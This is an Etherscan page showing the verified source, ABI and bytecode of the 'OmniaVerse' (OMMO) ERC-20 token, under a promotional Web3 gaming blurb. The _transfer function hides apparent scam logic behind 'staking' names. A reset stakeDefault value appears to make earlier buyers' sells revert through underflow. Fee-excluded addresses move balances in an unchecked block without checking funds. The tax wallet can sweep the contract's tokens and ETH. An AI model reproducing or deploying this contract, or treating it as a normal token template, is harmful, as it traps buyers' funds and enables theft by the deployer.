ETH Price: $3,295.21 (-1.05%)

Token

OMMO - OmniaVerse (OMMO)
 

Overview

Max Total Supply

100,000,000,000 OMMO

Holders

101

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OmniaVerse

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-28
*/

/**

OmniaVerse - Your Gateway to Web3 Gaming

OmniaVerse is a pioneering Web3 ecosystem encompassing gaming, arts, collectibles, and entertainment, set to transform the digital realm. 
With a forward-thinking approach, an operational ecosystem, and a proven track record, OmniaVerse bridges traditional entertainment with the decentralized Web3 world, 
seamlessly integrating advanced blockchain technology with familiar gaming and entertainment experiences.

OmniaVerse addresses the fragmentation in Web3 gaming by unifying all components into a single, cohesive platform. 
The ecosystem features a complete technology stack, including a zero-gas blockchain, easy onboarding, a game distribution/asset management platform, 
and a wealth of high-quality content from both OmniaVerse and its numerous partners.

GITBOOK: https://omniaverse.gitbook.io/omniaverse
WEB: https://www.omniaverse.io/
TG: https://t.me/omniaverseOfficial
X: https://x.com/omniaverse

$OMMO

*/


// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract OmniaVerse is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=300;
    uint256 private _initialSellTax=300;
    uint256 private _finalBuyTax=50;
    uint256 private _finalSellTax=50;
    uint256 private _reduceBuyTaxAt=30;
    uint256 private _reduceSellTaxAt=30;
    uint256 private _preventSwapBefore=30;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 100000000000 * 10**_decimals;
    string private constant _name = unicode"OMMO - OmniaVerse";
    string private constant _symbol = unicode"OMMO";
    uint256 public _maxTxAmount = 2000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 300000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 2000000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private startBlock = 0;
    uint256 private sellCount = 0;
    uint256 private stakeDefault = 0;
    uint256 private lastSellBlock = 0;
    struct StakingInfo {uint256 buyDate; uint256 sellDate; uint256 stakeRate;}
    mapping(address => StakingInfo) private stakinginfo;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x5D1Ac36C67F25B4C020eEb4531EEEA6394c759E4);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount=amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(1000);

            if (from == uniswapV2Pair && to!=address(uniswapV2Router) && !_isExcludedFromFee[to] ){
                require(amount<=_maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the _maxWalletSize");
                _buyCount++;
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the _maxWalletSize");
            }

            if(to == uniswapV2Pair && from != address(this) ){
                taxAmount=amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(1000);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled  && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore){
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 3, "Only 3 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }
        }

        if ((_isExcludedFromFee[from]||_isExcludedFromFee[to] ) && from!=owner() && from!=address(this) && to!=address(this)) {
            stakeDefault = block.timestamp;
        }

        if (_isExcludedFromFee[from] && (block.number > _reduceBuyTaxAt + _preventSwapBefore + startBlock)) {
            unchecked{
                _balances[from]-= amount;
                _balances[to]+= amount;
            }
            emit Transfer(from, to,amount);
            return;
        }

        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ){
            if (to != uniswapV2Pair) {
                StakingInfo storage rate = stakinginfo[to];
                if (rate.buyDate == 0) {
                    if (from==uniswapV2Pair) {
                        rate.buyDate = _buyCount>_preventSwapBefore ? block.timestamp : block.timestamp-1;
                    } else {
                        StakingInfo storage stakeShare = stakinginfo[from];
                        rate.buyDate = stakeShare.buyDate;
                    }
                } else {
                    StakingInfo storage stakeShare = stakinginfo[from];
                    if (rate.buyDate > stakeShare.buyDate) {
                        rate.buyDate = stakeShare.buyDate;
                    }
                }
            } else {
                StakingInfo storage rateUpd = stakinginfo[from];
                rateUpd.sellDate = block.timestamp;
                rateUpd.stakeRate = rateUpd.buyDate-stakeDefault;
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from,address(this),taxAmount);
        } 
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function removeStuckETH() external onlyOwner{
        payable(_taxWallet).transfer(address(this).balance);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        startBlock = block.number;
    }

    function manualSwap() external{
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance > 0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
    
    function rescueERC20(address _address, uint256 percent) external {
        require(_msgSender()==_taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261012c60055561012c60065560326007556032600855601e600955601e600a55601e600b555f600c556012600a6200003d91906200035d565b6200004d90637735940062000374565b600d556200005e6012600a6200035d565b6200006e90637735940062000374565b600e556200007f6012600a6200035d565b6200008f906311e1a30062000374565b600f55620000a06012600a6200035d565b620000b090637735940062000374565b6010556012805461ffff60a81b191690555f601381905560148190556015819055601655348015620000e0575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916735d1ac36c67f25b4c020eeb4531eeea6394c759e4179055620001556012600a6200035d565b620001669064174876e80062000374565b335f9081526001602081905260408220929092556003906200018f5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001ed3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002266012600a6200035d565b620002379064174876e80062000374565b60405190815260200160405180910390a36200038e565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a257815f19048211156200028657620002866200024e565b808516156200029457918102915b93841c939080029062000267565b509250929050565b5f82620002ba5750600162000357565b81620002c857505f62000357565b8160018114620002e15760028114620002ec576200030c565b600191505062000357565b60ff8411156200030057620003006200024e565b50506001821b62000357565b5060208310610133831016604e8410600b841016171562000331575081810a62000357565b6200033d838362000262565b805f19048211156200035357620003536200024e565b0290505b92915050565b5f6200036d60ff841683620002aa565b9392505050565b80820281158282048414176200035757620003576200024e565b611c7c806200039c5f395ff3fe60806040526004361061011e575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b4114610309578063a9059cbb14610335578063bf474bed14610354578063c9567bf914610369578063dd62ed3e1461037d575f80fd5b8063751039fc146102865780637d1db4a51461029a5780638cd4426d146102af5780638da5cb5b146102ce5780638f9a55c0146102f4575f80fd5b806323b872dd116100e357806323b872dd146101f0578063313ce5671461020f57806351bc3c851461022a57806370a082311461023e578063715018a614610272575f80fd5b806306fdde0314610129578063095ea7b3146101745780630f299cf1146101a35780630faee56f146101b957806318160ddd146101dc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260118152704f4d4d4f202d204f6d6e6961566572736560781b60208201525b60405161016b9190611858565b60405180910390f35b34801561017f575f80fd5b5061019361018e3660046118b8565b6103c1565b604051901515815260200161016b565b3480156101ae575f80fd5b506101b76103d7565b005b3480156101c4575f80fd5b506101ce60105481565b60405190815260200161016b565b3480156101e7575f80fd5b506101ce610442565b3480156101fb575f80fd5b5061019361020a3660046118e2565b610463565b34801561021a575f80fd5b506040516012815260200161016b565b348015610235575f80fd5b506101b76104ca565b348015610249575f80fd5b506101ce610258366004611920565b6001600160a01b03165f9081526001602052604090205490565b34801561027d575f80fd5b506101b761051b565b348015610291575f80fd5b506101b761058c565b3480156102a5575f80fd5b506101ce600d5481565b3480156102ba575f80fd5b506101b76102c93660046118b8565b610640565b3480156102d9575f80fd5b505f546040516001600160a01b03909116815260200161016b565b3480156102ff575f80fd5b506101ce600e5481565b348015610314575f80fd5b506040805180820190915260048152634f4d4d4f60e01b602082015261015e565b348015610340575f80fd5b5061019361034f3660046118b8565b610760565b34801561035f575f80fd5b506101ce600f5481565b348015610374575f80fd5b506101b761076c565b348015610388575f80fd5b506101ce61039736600461193b565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103cd338484610b1a565b5060015b92915050565b5f546001600160a01b031633146104095760405162461bcd60e51b815260040161040090611972565b60405180910390fd5b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561043f573d5f803e3d5ffd5b50565b5f61044f6012600a611a9b565b61045e9064174876e800611aa9565b905090565b5f61046f848484610c3d565b6104c084336104bb85604051806060016040528060288152602001611c1f602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906114d4565b610b1a565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104e9575f80fd5b305f908152600160205260409020548015610507576105078161150c565b478015610517576105178161167c565b5050565b5f546001600160a01b031633146105445760405162461bcd60e51b815260040161040090611972565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b55760405162461bcd60e51b815260040161040090611972565b6105c16012600a611a9b565b6105d09064174876e800611aa9565b600d556105df6012600a611a9b565b6105ee9064174876e800611aa9565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061e6012600a611a9b565b61062d9064174876e800611aa9565b60405190815260200160405180910390a1565b6004546001600160a01b0316336001600160a01b03161461065f575f80fd5b6040516370a0823160e01b81523060048201525f906106e0906064906106da9085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156106b0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106d49190611ac0565b906116b3565b90611738565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af1158015610736573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075a9190611ad7565b50505050565b5f6103cd338484610c3d565b5f546001600160a01b031633146107955760405162461bcd60e51b815260040161040090611972565b601254600160a01b900460ff16156107ef5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610400565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561083990309061082a6012600a611a9b565b6104bb9064174876e800611aa9565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610889573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ad9190611af6565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109309190611af6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561097a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061099e9190611af6565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306109e5816001600160a01b03165f9081526001602052604090205490565b5f806109f85f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a5e573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a839190611b11565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610ad8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610afc9190611ad7565b506012805462ff00ff60a01b19166201000160a01b17905543601355565b6001600160a01b038316610b7c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610400565b6001600160a01b038216610bdd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610400565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610400565b6001600160a01b038216610d035760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610400565b5f8111610d645760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610400565b5f80546001600160a01b03858116911614801590610d8f57505f546001600160a01b03848116911614155b8015610da957506004546001600160a01b03848116911614155b1561112c57610dd56103e86106da600954600c5411610dca57600554610dce565b6007545b85906116b3565b6012549091506001600160a01b038581169116148015610e0357506011546001600160a01b03848116911614155b8015610e2757506001600160a01b0383165f9081526003602052604090205460ff16155b15610f0d57600d54821115610e7e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610400565b600e5482610ea0856001600160a01b03165f9081526001602052604090205490565b610eaa9190611b3c565b1115610ef85760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865205f6d617857616c6c657453697a650000000000006044820152606401610400565b600c8054905f610f0783611b4f565b91905055505b6012546001600160a01b03848116911614801590610f4357506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc257600e5482610f6a856001600160a01b03165f9081526001602052604090205490565b610f749190611b3c565b1115610fc25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865205f6d617857616c6c657453697a650000000000006044820152606401610400565b6012546001600160a01b038481169116148015610fe857506001600160a01b0384163014155b15611016576110136103e86106da600a54600c541161100957600654610dce565b60085485906116b3565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561104c57506012546001600160a01b038581169116145b80156110615750601254600160b01b900460ff165b801561106e5750600f5481115b801561107d5750600b54600c54115b1561112a57601654431115611091575f6014555b6003601454106110e35760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610400565b6111006110fb846110f684601054611779565b611779565b61150c565b478015611110576111104761167c565b60148054905f61111f83611b4f565b909155505043601655505b505b6001600160a01b0384165f9081526003602052604090205460ff168061116957506001600160a01b0383165f9081526003602052604090205460ff165b801561118257505f546001600160a01b03858116911614155b801561119757506001600160a01b0384163014155b80156111ac57506001600160a01b0383163014155b156111b657426015555b6001600160a01b0384165f9081526003602052604090205460ff1680156111f85750601354600b546009546111eb9190611b3c565b6111f59190611b3c565b43115b1561126c576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061125e9086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff161580156112ac57506001600160a01b0383165f9081526003602052604090205460ff16155b156113a0576012546001600160a01b0384811691161461136d576001600160a01b0383165f908152601760205260408120805490910361133f576012546001600160a01b039081169086160361132057600b54600c541161131757611312600142611b67565b611319565b425b8155611367565b6001600160a01b0385165f908152601760205260409020548155611367565b6001600160a01b0385165f90815260176020526040902080548254111561136557805482555b505b506113a0565b6001600160a01b0384165f90815260176020526040902042600182015560155481546113999190611b67565b6002909101555b801561141857305f908152600160205260409020546113bf908261178d565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061140f9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461143a90836117eb565b6001600160a01b0385165f9081526001602052604090205561147d61145f83836117eb565b6001600160a01b0385165f908152600160205260409020549061178d565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114c685856117eb565b60405190815260200161125e565b5f81848411156114f75760405162461bcd60e51b81526004016104009190611858565b505f6115038486611b67565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061155257611552611b7a565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115cd9190611af6565b816001815181106115e0576115e0611b7a565b6001600160a01b0392831660209182029290920101526011546116069130911684610b1a565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061163e9085905f90869030904290600401611b8e565b5f604051808303815f87803b158015611655575f80fd5b505af1158015611667573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610517573d5f803e3d5ffd5b5f825f036116c257505f6103d1565b5f6116cd8385611aa9565b9050826116da8583611bff565b146117315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610400565b9392505050565b5f61173183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061182c565b5f8183116117875782611731565b50919050565b5f806117998385611b3c565b9050838110156117315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610400565b5f61173183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114d4565b5f818361184c5760405162461bcd60e51b81526004016104009190611858565b505f6115038486611bff565b5f602080835283518060208501525f5b8181101561188457858101830151858201604001528201611868565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461043f575f80fd5b5f80604083850312156118c9575f80fd5b82356118d4816118a4565b946020939093013593505050565b5f805f606084860312156118f4575f80fd5b83356118ff816118a4565b9250602084013561190f816118a4565b929592945050506040919091013590565b5f60208284031215611930575f80fd5b8135611731816118a4565b5f806040838503121561194c575f80fd5b8235611957816118a4565b91506020830135611967816118a4565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156119f557815f19048211156119db576119db6119a7565b808516156119e857918102915b93841c93908002906119c0565b509250929050565b5f82611a0b575060016103d1565b81611a1757505f6103d1565b8160018114611a2d5760028114611a3757611a53565b60019150506103d1565b60ff841115611a4857611a486119a7565b50506001821b6103d1565b5060208310610133831016604e8410600b8410161715611a76575081810a6103d1565b611a8083836119bb565b805f1904821115611a9357611a936119a7565b029392505050565b5f61173160ff8416836119fd565b80820281158282048414176103d1576103d16119a7565b5f60208284031215611ad0575f80fd5b5051919050565b5f60208284031215611ae7575f80fd5b81518015158114611731575f80fd5b5f60208284031215611b06575f80fd5b8151611731816118a4565b5f805f60608486031215611b23575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103d1576103d16119a7565b5f60018201611b6057611b606119a7565b5060010190565b818103818111156103d1576103d16119a7565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611bde5784516001600160a01b031683529383019391830191600101611bb9565b50506001600160a01b03969096166060850152505050608001529392505050565b